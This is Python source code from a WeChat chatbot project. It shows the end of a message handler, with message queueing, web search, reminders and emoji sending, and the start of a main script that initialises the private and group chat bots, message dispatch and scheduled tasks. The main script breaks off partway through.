logger.info(f"[消息队列] 追加消息 - 用户: {sender_name}, 当前消息数: {msg_count}") logger.debug(f"[消息队列] 新增消息: {content[:50]}...") # 取消现有的定时器 if queue_key in self.queue_timers and self.queue_timers[queue_key]: try: self.queue_timers[queue_key].cancel() logger.debug(f"[消息队列] 重置定时器 - 用户: {sender_name}") except Exception as e: logger.error(f"[消息队列] 取消定时器失败: {str(e)}") self.queue_timers[queue_key] = None # 创建新的定时器 timer = threading.Timer( self.QUEUE_TIMEOUT, self._process_message_queue, args=[queue_key] ) timer.daemon = True timer.start() self.queue_timers[queue_key] = timer logger.info(f"[消息队列] 设置新定时器 - 用户: {sender_name}, {self.QUEUE_TIMEOUT}秒后处理") def _process_message_queue(self, queue_key: str): """处理消息队列""" avatar_name = self.current_avatar try: with self.queue_lock: if queue_key not in self.message_queues: logger.debug("[消息队列] 队列不存在,跳过处理") return # 检查是否到达处理时间 current_time = time.time() queue_data = self.message_queues[queue_key] last_update = queue_data['last_update'] sender_name = queue_data['sender_name'] if current_time - last_update < self.QUEUE_TIMEOUT - 0.1: logger.info( f"[消息队列] 等待更多消息 - 用户: {sender_name}, 剩余时间: {self.QUEUE_TIMEOUT - (current_time - last_update):.1f}秒") return # 获取并清理队列数据 queue_data = self.message_queues.pop(queue_key) if queue_key in self.queue_timers: self.queue_timers.pop(queue_key) messages = queue_data['messages'] chat_id = queue_data['chat_id'] # 使用保存的原始chat_id username = queue_data['username'] sender_name = queue_data['sender_name'] is_group = queue_data['is_group'] is_image_recognition = queue_data['is_image_recognition'] # 合并消息 combined_message = ";".join(messages) # 打印日志信息 logger.info(f"[消息队列] 开始处理 - 用户: {sender_name}, 消息数: {len(messages)}") logger.info("----------------------------------------") logger.debug("原始消息列表:") for idx, msg in enumerate(messages, 1): logger.debug(f"{idx}. {msg}") logger.info("收到消息:") logger.info(combined_message) logger.info("----------------------------------------") # 处理队列中的链接 processed_message = combined_message if queue_data.get('has_link', False) and WEBLENS_ENABLED: urls = queue_data.get('urls', []) if urls: logger.info(f"处理队列中的链接: {urls[0]}") # 提取网页内容 web_results = self.network_search_service.extract_web_content(urls[0]) if web_results and web_results['original']: # 将网页内容添加到消息中 processed_message = f"{combined_message}\n\n{web_results['original']}" logger.info("已获取URL内容并添加至本次Prompt中") logger.info(processed_message) # 检查合并后的消息是否包含时间提醒和联网搜索需求 # 如果已处理搜索需求,则不需要继续处理消息 search_handled = self._check_time_reminder_and_search(processed_message, sender_name) if search_handled: logger.info(f"搜索需求已处理,直接回复") return self._handle_text_message(processed_message, chat_id, sender_name, username, is_group) # 在处理消息前,如果启用了联网搜索,先检查是否需要联网搜索 search_results = None if NETWORK_SEARCH_ENABLED: search_intent = self.search_request_recognitor.recognize(message=combined_message) if search_intent['search_required']: logger.info(f"检测到搜索需求:{search_intent['search_query']}") search_results = self.network_search_service.search_internet( query=search_intent['search_query'], ) if search_results and search_results['original']: logger.info("搜索成功,将结果添加到消息中") processed_message = f"{combined_message}\n\n{search_results['original']}" logger.info(processed_message) else: logger.warning("搜索失败或结果为空,继续正常处理请求") # 识别提醒意图 if not (sender_name == 'System' or sender_name == 'system'): tasks = self.remind_request_recognitor.recognize(combined_message) if tasks != "NOT_TIME_RELATED": logger.info("检测到提醒需求,正在添加至提醒列表...") voice_reminder_keywords = ["电话", "语音"] if any(k in combined_message for k in voice_reminder_keywords): reminder_type = "voice" else: reminder_type = "text" for task in tasks: self.reminder_service.add_reminder( chat_id=chat_id, target_time=datetime.strptime(task["target_time"], "%Y-%m-%d %H:%M:%S"), content=task["reminder_content"], sender_name=sender_name, reminder_type=reminder_type ) return self._handle_text_message(processed_message, chat_id, sender_name, username, is_group) except Exception as e: logger.error(f"处理消息队列失败: {e}") return None def _process_text_for_display(self, text: str) -> str: """处理文本以确保表情符号正确显示""" try: # 先将Unicode表情符号转换为别名再转回,确保标准化 return emoji.emojize(emoji.demojize(text)) except Exception: return text def _filter_user_tags(self, text: str) -> str: """过滤消息中的用户标签 Args: text: 原始文本 Returns: str: 过滤后的文本 """ import re # 过滤掉 <用户 xxx> 和 </用户> 标签 text = re.sub(r'<用户\s+[^>]+>\s*', '', text) text = re.sub(r'\s*</用户>', '', text) return text.strip() def _send_message_with_dollar(self, reply, chat_id): """以$为分隔符分批发送回复""" # 过滤用户标签 reply = self._filter_user_tags(reply) # 首先处理文本中的emoji表情符号 reply = self._process_text_for_display(reply) if '$' in reply or '$' in reply: parts = [p.strip() for p in reply.replace("$", "$").split("$") if p.strip()] for part in parts: # 检查当前部分是否包含表情标签 emotion_tags = self.emoji_handler.extract_emotion_tags(part) if emotion_tags: logger.debug(f"消息片段包含表情: {emotion_tags}") # 清理表情标签并发送文本 clean_part = part for tag in emotion_tags: clean_part = clean_part.replace(f'[{tag}]', '') if clean_part.strip(): self.wx.SendMsg(msg=clean_part.strip(), who=chat_id) logger.debug(f"发送消息: {clean_part[:20]}...") # 发送该部分包含的表情 for emotion_type in emotion_tags: try: emoji_path = self.emoji_handler.get_emoji_for_emotion(emotion_type) if emoji_path: self.wx.SendFiles(filepath=emoji_path, who=chat_id) logger.debug(f"已发送表情: {emotion_type}") time.sleep(random.randint(1, 3)) except Exception as e: logger.error(f"发送表情失败 - {emotion_type}: {str(e)}") time.sleep(random.randint(4, 8)) else: # 处理不包含分隔符的消息 emotion_tags = self.emoji_handler.extract_emotion_tags(reply) if emotion_tags: logger.debug(f"消息包含表情: {emotion_tags}") clean_reply = reply for tag in emotion_tags: clean_reply = clean_reply.replace(f'[{tag}]', '') if clean_reply.strip(): self.wx.SendMsg(msg=clean_reply.strip(), who=chat_id) logger.debug(f"发送消息: {clean_reply[:20]}...") # 发送表情 for emotion_type in emotion_tags: try: emoji_path = self.emoji_handler.get_emoji_for_emotion(emotion_type) if emoji_path: self.wx.SendFiles(filepath=emoji_path, who=chat_id) logger.debug(f"已发送表情: {emotion_type}") time.sleep(random.randint(1, 3)) except Exception as e: logger.error(f"发送表情失败 - {emotion_type}: {str(e)}") def _send_raw_message(self, text: str, chat_id: str): """直接发送原始文本消息,保留所有换行符和格式 Args: text: 要发送的原始文本 chat_id: 接收消息的聊天ID """ try: # 过滤用户标签 text = self._filter_user_tags(text) # 只处理表情符号,不做其他格式处理 text = self._process_text_for_display(text) # 提取表情标签 emotion_tags = self.emoji_handler.extract_emotion_tags(text) # 清理表情标签 clean_text = text for tag in emotion_tags: clean_text = clean_text.replace(f'[{tag}]', '') # 直接发送消息,只做必要的处理 if clean_text: clean_text = clean_text.replace('$', '') clean_text = clean_text.replace('$', '') # 全角$符号 clean_text = clean_text.replace(r'\n', '\r\n\r\n') # logger.info(clean_text) self.wx.SendMsg(msg=clean_text, who=chat_id) # logger.info(f"已发送经过处理的文件内容: {file_content}") except Exception as e: logger.error(f"发送原始格式消息失败: {str(e)}") def _send_command_response(self, command: str, reply: str, chat_id: str): """发送命令响应,根据命令类型决定是否保留原始格式 Args: command: 命令名称,如 '/state' reply: 要发送的回复内容 chat_id: 聊天ID """ if not reply: return # 检查是否是需要保留原始格式的命令 if command in self.preserve_format_commands: # 使用原始格式发送消息 logger.info(f"使用原始格式发送命令响应: {command}") self._send_raw_message(reply, chat_id) else: # 使用正常的消息发送方式 self._send_message_with_dollar(reply, chat_id) def _handle_text_message(self, content, chat_id, sender_name, username, is_group): """处理普通文本消息""" # 检查是否是命令 command = None if content.startswith('/'): command = content.split(' ')[0].lower() logger.debug(f"检测到命令: {command}") # 对于群聊消息,使用不暗示@的格式 if is_group: api_content = f"[群聊消息] {sender_name}: {content}" else: api_content = content reply = self.get_api_response(api_content, chat_id, is_group) logger.info(f"AI回复: {reply}") # 处理回复中的思考过程 if "</think>" in reply: think_content, reply = reply.split("</think>", 1) logger.debug(f"思考过程: {think_content.strip()}") # 处理群聊中的回复 reply = self._add_at_tag_if_needed(reply, sender_name, is_group) # 判断是否是系统消息 is_system_message = sender_name == "System" or username == "System" # 发送文本消息和表情 if command and command in self.preserve_format_commands: # 如果是需要保留原始格式的命令,使用原始格式发送 self._send_command_response(command, reply, chat_id) else: # 否则使用正常的消息发送方式 self._send_message_with_dollar(reply, chat_id) # 异步保存消息记录 # 保存实际用户发送的内容,群聊中保留发送者信息 save_content = api_content if is_group else content threading.Thread(target=self.save_message, args=(chat_id, sender_name, save_content, reply, is_system_message)).start() if is_system_message: threading.Thread(target=self.save_message, args=(chat_id, chat_id, "……", reply, False)).start() return reply def _add_to_system_prompt(self, chat_id: str, content: str) -> None: """ 将内容添加到系统提示词中 Args: chat_id: 聊天ID content: 要添加的内容 """ try: # 初始化聊天的系统提示词字典(如果不存在) if not hasattr(self, 'system_prompts'): self.system_prompts = {} # 初始化当前聊天的系统提示词(如果不存在) if chat_id not in self.system_prompts: self.system_prompts[chat_id] = [] # 添加内容到系统提示词列表 self.system_prompts[chat_id].append(content) # 限制系统提示词列表的长度(保留最新的 5 条) if len(self.system_prompts[chat_id]) > 5: self.system_prompts[chat_id] = self.system_prompts[chat_id][-5:] logger.info(f"已将内容添加到聊天 {chat_id} 的系统提示词中") except Exception as e: logger.error(f"添加内容到系统提示词失败: {str(e)}") # 已在类的开头初始化对话计数器 def _remove_search_content_from_context(self, chat_id: str, content: str) -> None: """ 从上下文中删除搜索内容,并添加到系统提示词中 Args: chat_id: 聊天ID content: 要删除的搜索内容 """ try: # 从内存中的对话历史中删除搜索内容 if hasattr(self, 'memory_service') and self.memory_service: # 尝试从内存中删除搜索内容 # 注意:这里只是一个示例,实际实现可能需要根据 memory_service 的实际接口调整 try: # 如果 memory_service 有删除内容的方法,可以调用它 # 这里只是记录日志,实际实现可能需要根据具体情况调整 logger.info(f"尝试从内存中删除搜索内容: {content[:50]}...") except Exception as e: logger.error(f"从内存中删除搜索内容失败: {str(e)}") # 如果有其他上下文存储机制,也可以在这里处理 logger.info(f"已从上下文中删除搜索内容: {content[:50]}...") except Exception as e: logger.error(f"从上下文中删除搜索内容失败: {str(e)}") def _async_generate_summary(self, chat_id: str, url: str, content: str, model: str = None) -> None: """ 异步生成总结并添加到系统提示词中 按照时间而不是对话计数来执行总结 Args: chat_id: 聊天ID url: 链接或搜索查询 content: 要总结的内容 model: 使用的模型(可选,如果不提供则使用用户配置的模型) """ try: # 等待一段时间后再执行总结,确保不占用当前对话的时间 # 这里设置为30秒,足够让用户进行下一次对话 logger.info(f"开始等待总结生成时间: {url}") time.sleep(30) # 等待 30 秒 logger.info(f"开始异步生成总结: {url}") # 使用用户配置的模型,如果没有指定模型 summary_model = model if model else config.llm.model # 使用 network_search_service 中的 llm_service # 生成总结版本,用于系统提示词 summary_messages = [ { "role": "user", "content": f"请将以下内容总结为简洁的要点,以便在系统提示词中使用:\n\n{content}\n\n原始链接或查询: {url}" } ] # 调用 network_search_service 中的 llm_service 获取总结版本 # 使用用户配置的模型 logger.info(f"异步总结使用模型: {summary_model}") summary_result = self.network_search_service.llm_service.chat( messages=summary_messages, model=summary_model ) if summary_result: # 生成最终的总结内容 if "http" in url: final_summary = f"关于链接 {url} 的信息:{summary_result}" else: final_summary = f"关于\"{url}\"的信息:{summary_result}" # 从上下文中删除搜索内容 self._remove_search_content_from_context(chat_id, content) # 添加到系统提示词中,但不发送给用户 self._add_to_system_prompt(chat_id, final_summary) logger.info(f"已将异步生成的总结添加到系统提示词中,并从上下文中删除搜索内容: {url}") else: logger.warning(f"异步生成总结失败: {url}") except Exception as e: logger.error(f"异步生成总结失败: {str(e)}") def _check_time_reminder_and_search(self, content: str, sender_name: str) -> bool: """ 检查和处理时间提醒和联网搜索需求 Args: content: 消息内容 chat_id: 聊天ID sender_name: 发送者名称 Returns: bool: 是否已处理搜索需求(如果已处理,则不需要继续处理消息) """ # 避免处理系统消息 if sender_name == "System" or sender_name.lower() == "system": logger.debug(f"跳过时间提醒和搜索识别:{sender_name}发送的消息不处理") return False try: if "可作为你的回复参考" in content: logger.info(f"已联网获取过信息,直接获取回复") return True except Exception as e: logger.error(f"处理时间提醒和搜索失败: {str(e)}") return False # def _check_time_reminder(self, content: str, chat_id: str, sender_name: str): # """检查和处理时间提醒(兼容旧接口)""" # # 避免处理系统消息 # if sender_name == "System" or sender_name.lower() == "system" : # logger.debug(f"跳过时间提醒识别:{sender_name}发送的消息不处理") # return # try: # # 使用 time_recognition 服务识别时间 # time_infos = self.time_recognition.recognize_time(content) # if time_infos: # for target_time, reminder_content in time_infos: # logger.info(f"检测到提醒请求 - 用户: {sender_name}") # logger.info(f"提醒时间: {target_time}, 内容: {reminder_content}") # # 使用 reminder_service 创建提醒 # success = self.reminder_service.add_reminder( # chat_id=chat_id, # target_time=target_time, # content=reminder_content, # sender_name=sender_name, # silent=True # ) # if success: # logger.info("提醒任务创建成功") # else: # logger.error("提醒任务创建失败") # except Exception as e: # logger.error(f"处理时间提醒失败: {str(e)}") def add_to_queue(self, chat_id: str, content: str, sender_name: str, username: str, is_group: bool = False): """添加消息到队列(兼容旧接口)""" return self._add_to_message_queue(content, chat_id, sender_name, username, is_group, False) def process_messages(self, chat_id: str): """处理消息队列中的消息(已废弃,保留兼容)""" # 该方法不再使用,保留以兼容旧代码 logger.warning("process_messages方法已废弃,使用handle_message代替") pass
2302_81798979/KouriChat
src/handlers/message.py
Python
unknown
47,023
import logging import random from datetime import datetime, timedelta import threading import time import os import shutil from src.utils.console import print_status # 率先初始化网络适配器以覆盖所有网络库 try: from src.autoupdate.core.manager import initialize_system initialize_system() print_status("网络适配器初始化成功", "success", "CHECK") except Exception as e: print_status(f"网络适配器初始化失败: {str(e)}", "error", "CROSS") # 导入其余模块 from data.config import config, DEEPSEEK_API_KEY, DEEPSEEK_BASE_URL, MODEL, MAX_TOKEN, TEMPERATURE, MAX_GROUPS from wxauto import WeChat import re from src.handlers.emoji import EmojiHandler from src.handlers.image import ImageHandler from src.handlers.message import MessageHandler from src.services.ai.llm_service import LLMService from src.services.ai.image_recognition_service import ImageRecognitionService from modules.memory.memory_service import MemoryService from modules.memory.content_generator import ContentGenerator from src.utils.logger import LoggerConfig from colorama import init, Style from src.AutoTasker.autoTasker import AutoTasker from src.handlers.autosend import AutoSendHandler import queue from collections import defaultdict # 创建一个事件对象来控制线程的终止 stop_event = threading.Event() # 获取项目根目录 root_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # 检查并初始化配置文件 config_path = os.path.join(root_dir, 'src', 'config', 'config.json') config_template_path = os.path.join(root_dir, 'src', 'config', 'config.json.template') if not os.path.exists(config_path) and os.path.exists(config_template_path): logger = logging.getLogger('main') logger.info("配置文件不存在,正在从模板创建...") shutil.copy2(config_template_path, config_path) logger.info(f"已从模板创建配置文件: {config_path}") # 初始化colorama init() # 全局变量 logger = None listen_list = [] def initialize_logging(): """初始化日志系统""" global logger, listen_list # 清除所有现有日志处理器 for handler in logging.root.handlers[:]: logging.root.removeHandler(handler) logger_config = LoggerConfig(root_dir) logger = logger_config.setup_logger('main') listen_list = config.user.listen_list # 确保autoupdate模块的日志级别设置为DEBUG logging.getLogger("autoupdate").setLevel(logging.DEBUG) logging.getLogger("autoupdate.core").setLevel(logging.DEBUG) logging.getLogger("autoupdate.interceptor").setLevel(logging.DEBUG) logging.getLogger("autoupdate.network_optimizer").setLevel(logging.DEBUG) # 消息队列接受消息时间间隔 wait = 1 # 添加消息队列用于分发 private_message_queue = queue.Queue() group_message_queue = queue.Queue() class PrivateChatBot: """专门处理私聊的机器人""" def __init__(self, message_handler, image_recognition_service, auto_sender, emoji_handler): self.message_handler = message_handler self.image_recognition_service = image_recognition_service self.auto_sender = auto_sender self.emoji_handler = emoji_handler self.wx = WeChat() self.robot_name = self.wx.A_MyIcon.Name logger.info(f"私聊机器人初始化完成 - 机器人名称: {self.robot_name}") # 私聊始终使用默认人设 from data.config import config default_avatar_path = config.behavior.context.avatar_dir self.current_avatar = os.path.basename(default_avatar_path) logger.info(f"私聊机器人使用默认人设: {self.current_avatar}") def handle_private_message(self, msg, chat_name): """处理私聊消息""" try: username = msg.sender content = getattr(msg, 'content', None) or getattr(msg, 'text', None) # 重置倒计时 self.auto_sender.start_countdown() logger.info(f"[私聊] 收到消息 - 来自: {username}") logger.debug(f"[私聊] 消息内容: {content}") img_path = None is_emoji = False is_image_recognition = False if content and content.lower().endswith(('.png', '.jpg', '.jpeg', '.gif', '.bmp')): img_path = content is_emoji = False content = None # 检查动画表情 if content and "[动画表情]" in content: img_path = self.emoji_handler.capture_and_save_screenshot(username) is_emoji = True content = None if img_path: recognized_text = self.image_recognition_service.recognize_image(img_path, is_emoji) content = recognized_text if content is None else f"{content} {recognized_text}" is_image_recognition = True # 处理消息 if content: self.message_handler.handle_user_message( content=content, chat_id=chat_name, sender_name=username, username=username, is_group=False, is_image_recognition=is_image_recognition ) except Exception as e: logger.error(f"[私聊] 消息处理失败: {str(e)}") class GroupChatBot: """专门处理群聊的机器人""" def __init__(self, message_handler_class, base_config, auto_sender, emoji_handler, image_recognition_service): # 为群聊创建独立的消息处理器实例 self.message_handlers = {} # 为每个群聊维护独立的处理器 self.message_handler_class = message_handler_class self.base_config = base_config self.auto_sender = auto_sender self.emoji_handler = emoji_handler self.image_recognition_service = image_recognition_service self.wx = WeChat() self.robot_name = self.wx.A_MyIcon.Name logger.info(f"群聊机器人初始化完成 - 机器人名称: {self.robot_name}") def get_group_handler(self, group_name, group_config=None): """获取或创建群聊专用的消息处理器""" if group_name not in self.message_handlers: # 为每个群聊创建独立的处理器 avatar_path = group_config.avatar if group_config and group_config.avatar else self.base_config.behavior.context.avatar_dir # 读取群聊专用人设内容 full_avatar_path = os.path.join(root_dir, avatar_path) prompt_path = os.path.join(full_avatar_path, "avatar.md") group_prompt_content = "" if os.path.exists(prompt_path): with open(prompt_path, "r", encoding="utf-8") as file: group_prompt_content = file.read() else: logger.error(f"群聊人设文件不存在: {prompt_path}") group_prompt_content = prompt_content # 使用默认人设内容作为备选 # 创建群聊专用的处理器实例,直接使用正确的人设内容 handler = self.message_handler_class( root_dir=root_dir, api_key=self.base_config.llm.api_key, base_url=self.base_config.llm.base_url, model=self.base_config.llm.model, max_token=self.base_config.llm.max_tokens, temperature=self.base_config.llm.temperature, max_groups=self.base_config.behavior.context.max_groups, robot_name=self.robot_name, prompt_content=group_prompt_content, # 使用正确的群聊人设内容 image_handler=image_handler, emoji_handler=self.emoji_handler, memory_service=memory_service, content_generator=content_generator ) # 手动设置群聊专用属性(避免初始化时使用全局配置) handler.current_avatar = os.path.basename(full_avatar_path) handler.avatar_real_names = handler._extract_avatar_names(full_avatar_path) self.message_handlers[group_name] = handler logger.info(f"[群聊] 为群聊 '{group_name}' 创建专用处理器,使用人设: {handler.current_avatar}, 识别名字: {handler.avatar_real_names}") return self.message_handlers[group_name] def handle_group_message(self, msg, group_name, group_config=None): """处理群聊消息""" try: username = msg.sender content = getattr(msg, 'content', None) or getattr(msg, 'text', None) logger.info(f"[群聊] 收到消息 - 群聊: {group_name}, 发送者: {username}") logger.debug(f"[群聊] 消息内容: {content}") # 获取群聊专用的处理器 handler = self.get_group_handler(group_name, group_config) img_path = None is_emoji = False is_image_recognition = False # 处理群聊@消息 if self.robot_name and content: content = re.sub(f'@{self.robot_name}\u2005', '', content).strip() if content and content.lower().endswith(('.png', '.jpg', '.jpeg', '.gif', '.bmp')): img_path = content is_emoji = False content = None # 检查动画表情 if content and "[动画表情]" in content: img_path = self.emoji_handler.capture_and_save_screenshot(username) is_emoji = True content = None if img_path: recognized_text = self.image_recognition_service.recognize_image(img_path, is_emoji) content = recognized_text if content is None else f"{content} {recognized_text}" is_image_recognition = True # 处理消息 if content: handler.handle_user_message( content=content, chat_id=group_name, sender_name=username, username=username, is_group=True, is_image_recognition=is_image_recognition ) except Exception as e: logger.error(f"[群聊] 消息处理失败: {str(e)}") def private_message_processor(): """私聊消息处理线程""" logger.info("私聊消息处理线程启动") while not stop_event.is_set(): try: # 从队列获取私聊消息 msg_data = private_message_queue.get(timeout=1) if msg_data is None: # 退出信号 break msg, chat_name = msg_data private_chat_bot.handle_private_message(msg, chat_name) private_message_queue.task_done() except queue.Empty: continue except Exception as e: logger.error(f"私聊消息处理线程出错: {str(e)}") def group_message_processor(): """群聊消息处理线程""" logger.info("群聊消息处理线程启动") while not stop_event.is_set(): try: # 从队列获取群聊消息 msg_data = group_message_queue.get(timeout=1) if msg_data is None: # 退出信号 break msg, group_name, group_config = msg_data group_chat_bot.handle_group_message(msg, group_name, group_config) group_message_queue.task_done() except queue.Empty: continue except Exception as e: logger.error(f"群聊消息处理线程出错: {str(e)}") # 全局变量 prompt_content = "" emoji_handler = None image_handler = None memory_service = None content_generator = None message_handler = None image_recognition_service = None auto_sender = None private_chat_bot = None group_chat_bot = None ROBOT_WX_NAME = "" processed_messages = set() last_processed_content = {} def initialize_services(): """初始化服务实例""" global prompt_content, emoji_handler, image_handler, memory_service, content_generator global message_handler, image_recognition_service, auto_sender, private_chat_bot, group_chat_bot, ROBOT_WX_NAME # 尝试获取热更新模块状态信息以确认其状态 try: from src.autoupdate.core.manager import get_manager try: status = get_manager().get_status() if status: print_status(f"热更新模块已就绪", "success", "CHECK") else: print_status("热更新模块状态异常", "warning", "CROSS") except Exception as e: print_status(f"检查热更新模块状态时出现异常: {e}", "error", "ERROR") except Exception as e: print_status(f"检查热更新模块状态时出现异常: {e}", "error", "ERROR") # 读取提示文件 avatar_dir = os.path.join(root_dir, config.behavior.context.avatar_dir) prompt_path = os.path.join(avatar_dir, "avatar.md") if os.path.exists(prompt_path): with open(prompt_path, "r", encoding="utf-8") as file: prompt_content = file.read() # 处理无法读取文件的情况 else: raise FileNotFoundError(f"avatar.md 文件不存在: {prompt_path}") # 创建服务实例 emoji_handler = EmojiHandler(root_dir) image_handler = ImageHandler( root_dir=root_dir, api_key=config.llm.api_key, base_url=config.llm.base_url, image_model=config.media.image_generation.model ) memory_service = MemoryService( root_dir=root_dir, api_key=DEEPSEEK_API_KEY, base_url=DEEPSEEK_BASE_URL, model=MODEL, max_token=MAX_TOKEN, temperature=TEMPERATURE, max_groups=MAX_GROUPS ) content_generator = ContentGenerator( root_dir=root_dir, api_key=DEEPSEEK_API_KEY, base_url=DEEPSEEK_BASE_URL, model=MODEL, max_token=MAX_TOKEN, temperature=TEMPERATURE ) # 创建图像识别服务 image_recognition_service = ImageRecognitionService( api_key=config.media.image_recognition.api_key, base_url=config.media.image_recognition.base_url, temperature=config.media.image_recognition.temperature, model=config.media.image_recognition.model ) # 获取机器人名称 try: wx = WeChat() ROBOT_WX_NAME = wx.A_MyIcon.Name # 使用Name属性而非方法 logger.info(f"获取到机器人名称: {ROBOT_WX_NAME}") except Exception as e: logger.warning(f"获取机器人名称失败: {str(e)}") ROBOT_WX_NAME = "" # 创建消息处理器 message_handler = MessageHandler( root_dir=root_dir, api_key=config.llm.api_key, base_url=config.llm.base_url, model=config.llm.model, max_token=config.llm.max_tokens, temperature=config.llm.temperature, max_groups=config.behavior.context.max_groups, robot_name=ROBOT_WX_NAME, # 使用动态获取的机器人名称 prompt_content=prompt_content, image_handler=image_handler, emoji_handler=emoji_handler, memory_service=memory_service, # 使用新的记忆服务 content_generator=content_generator # 直接传递内容生成器实例 ) # 创建主动消息处理器 auto_sender = AutoSendHandler(message_handler, config, listen_list) # 创建并行聊天机器人实例 private_chat_bot = PrivateChatBot(message_handler, image_recognition_service, auto_sender, emoji_handler) group_chat_bot = GroupChatBot(MessageHandler, config, auto_sender, emoji_handler, image_recognition_service) # 启动主动消息倒计时 auto_sender.start_countdown() def message_dispatcher(): """消息分发器 - 将消息分发到对应的处理队列""" global ROBOT_WX_NAME, logger, wait, processed_messages, last_processed_content wx = None last_window_check = 0 check_interval = 600 logger.info("消息分发器启动") while not stop_event.is_set(): try: current_time = time.time() if wx is None or (current_time - last_window_check > check_interval): wx = WeChat() if not wx.GetSessionList(): time.sleep(5) continue last_window_check = current_time msgs = wx.GetListenMessage() if not msgs: time.sleep(wait) continue for chat in msgs: who = chat.who if not who: continue one_msgs = msgs.get(chat) if not one_msgs: continue for msg in one_msgs: try: msg_id = getattr(msg, 'id', None) msgtype = msg.type content = msg.content if msg_id and msg_id in processed_messages: logger.debug(f"跳过已处理的消息ID: {msg_id}") continue if not content: continue if msgtype != 'friend': logger.debug(f"非好友消息,忽略! 消息类型: {msgtype}") continue # 检查消息来源是否在监听列表中 if who not in listen_list: logger.debug(f"消息来源不在监听列表中,忽略: {who}") continue if msg_id: processed_messages.add(msg_id) last_processed_content[who] = content # 接收窗口名跟发送人一样,代表是私聊,否则是群聊 if who == msg.sender: # 私聊消息 - 放入私聊队列 logger.debug(f"[分发] 私聊消息 -> 私聊队列: {who}") private_message_queue.put((msg, msg.sender)) else: # 群聊消息 - 检查触发条件后放入群聊队列 trigger_reason = "" should_respond = False group_config = None # 导入配置 from data.config import config # 首先检查群聊配置 if config and hasattr(config, 'user') and config.user.group_chat_config: for gc_config in config.user.group_chat_config: if gc_config.group_name == who: # who 是群聊名称 group_config = gc_config # 检查群聊配置中的触发词 for trigger in gc_config.triggers: if trigger and trigger in msg.content: trigger_reason = f"群聊配置触发词({trigger})" should_respond = True break break # 如果没有找到群聊配置或没有触发,使用默认逻辑 if not should_respond: # 检查@机器人名字 at_trigger_enabled = True # 默认启用 if group_config is not None: at_trigger_enabled = group_config.enable_at_trigger if at_trigger_enabled and ROBOT_WX_NAME and bool(re.search(f'@{ROBOT_WX_NAME}\u2005', msg.content)): trigger_reason = f"被@了机器人名字({ROBOT_WX_NAME})" should_respond = True # 检查群聊的人设名字(获取当前群聊的专用处理器) elif group_config: # 临时获取群聊处理器来检查人设名字 temp_handler = group_chat_bot.get_group_handler(who, group_config) if hasattr(temp_handler, 'avatar_real_names'): for name in temp_handler.avatar_real_names: if name and name in msg.content: trigger_reason = f"提到了群聊人设名字({name})" should_respond = True break if should_respond: logger.debug(f"[分发] 群聊消息触发响应 - 原因: {trigger_reason} -> 群聊队列: {who}") group_message_queue.put((msg, who, group_config)) else: logger.debug(f"群聊消息未触发响应 - 群聊:{who}, 内容: {content}") except Exception as e: logger.debug(f"分发单条消息失败: {str(e)}") continue except Exception as e: logger.debug(f"消息分发出错: {str(e)}") wx = None time.sleep(wait) def initialize_wx_listener(): """ 初始化微信监听,包含重试机制 """ # 使用全局变量 global listen_list, logger max_retries = 3 retry_delay = 2 # 秒 for attempt in range(max_retries): try: wx = WeChat() if not wx.GetSessionList(): logger.error("未检测到微信会话列表,请确保微信已登录") time.sleep(retry_delay) continue # 循环添加监听对象,设置保存图片和语音消息 for chat_name in listen_list: try: # 先检查会话是否存在 if not wx.ChatWith(chat_name): logger.error(f"找不到会话: {chat_name}") continue # 尝试添加监听,设置savepic=True, savevoice=True wx.AddListenChat(who=chat_name, savepic=True, savevoice=True) logger.info(f"成功添加监听: {chat_name}") time.sleep(0.5) # 添加短暂延迟,避免操作过快 except Exception as e: logger.error(f"添加监听失败 {chat_name}: {str(e)}") continue return wx except Exception as e: logger.error(f"初始化微信失败 (尝试 {attempt + 1}/{max_retries}): {str(e)}") if attempt < max_retries - 1: time.sleep(retry_delay) else: raise Exception("微信初始化失败,请检查微信是否正常运行") return None def initialize_auto_tasks(message_handler): """初始化自动任务系统""" print_status("初始化自动任务系统...", "info", "CLOCK") try: # 导入config变量 from data.config import config # 创建AutoTasker实例 auto_tasker = AutoTasker(message_handler) print_status("创建AutoTasker实例成功", "success", "CHECK") # 清空现有任务 auto_tasker.scheduler.remove_all_jobs() print_status("清空现有任务", "info", "CLEAN") # 从配置文件读取任务信息 if hasattr(config, 'behavior') and hasattr(config.behavior, 'schedule_settings'): schedule_settings = config.behavior.schedule_settings if schedule_settings and schedule_settings.tasks: # 直接检查 tasks 列表 tasks = schedule_settings.tasks if tasks: print_status(f"从配置文件读取到 {len(tasks)} 个任务", "info", "TASK") tasks_added = 0 # 遍历所有任务并添加 for task in tasks: try: # 添加定时任务 auto_tasker.add_task( task_id=task.task_id, chat_id=listen_list[0], # 使用 listen_list 中的第一个聊天ID content=task.content, schedule_type=task.schedule_type, schedule_time=task.schedule_time ) tasks_added += 1 print_status(f"成功添加任务 {task.task_id}: {task.content}", "success", "CHECK") except Exception as e: print_status(f"添加任务 {task.task_id} 失败: {str(e)}", "error", "ERROR") print_status(f"成功添加 {tasks_added}/{len(tasks)} 个任务", "info", "TASK") else: print_status("配置文件中没有找到任务", "warning", "WARNING") else: print_status("未找到任务配置信息", "warning", "WARNING") print_status(f"当前 behavior 属性: {dir(config.behavior)}", "info", "INFO") return auto_tasker except Exception as e: print_status(f"初始化自动任务系统失败: {str(e)}", "error", "ERROR") logger.error(f"初始化自动任务系统失败: {str(e)}") return None def switch_avatar(new_avatar_name): # 使用全局变量 global emoji_handler, private_chat_bot, group_chat_bot, root_dir # 导入config变量 from data.config import config # 更新配置 config.behavior.context.avatar_dir = f"avatars/{new_avatar_name}" # 重新初始化 emoji_handler emoji_handler = EmojiHandler(root_dir) # 更新私聊和群聊机器人中的 emoji_handler if private_chat_bot: private_chat_bot.emoji_handler = emoji_handler private_chat_bot.message_handler.emoji_handler = emoji_handler if group_chat_bot: group_chat_bot.emoji_handler = emoji_handler # 更新所有群聊的emoji_handler for group_handler in group_chat_bot.message_handlers.values(): group_handler.emoji_handler = emoji_handler def main(): # 初始化变量 dispatcher_thread = None private_thread = None group_thread = None try: # 初始化日志系统 initialize_logging() # 初始化服务实例 initialize_services() # 设置wxauto日志路径 automation_log_dir = os.path.join(root_dir, "logs", "automation") if not os.path.exists(automation_log_dir): os.makedirs(automation_log_dir) os.environ["WXAUTO_LOG_PATH"] = os.path.join(automation_log_dir, "AutomationLog.txt") # 初始化微信监听 print_status("初始化微信监听...", "info", "BOT") wx = initialize_wx_listener() if not wx: 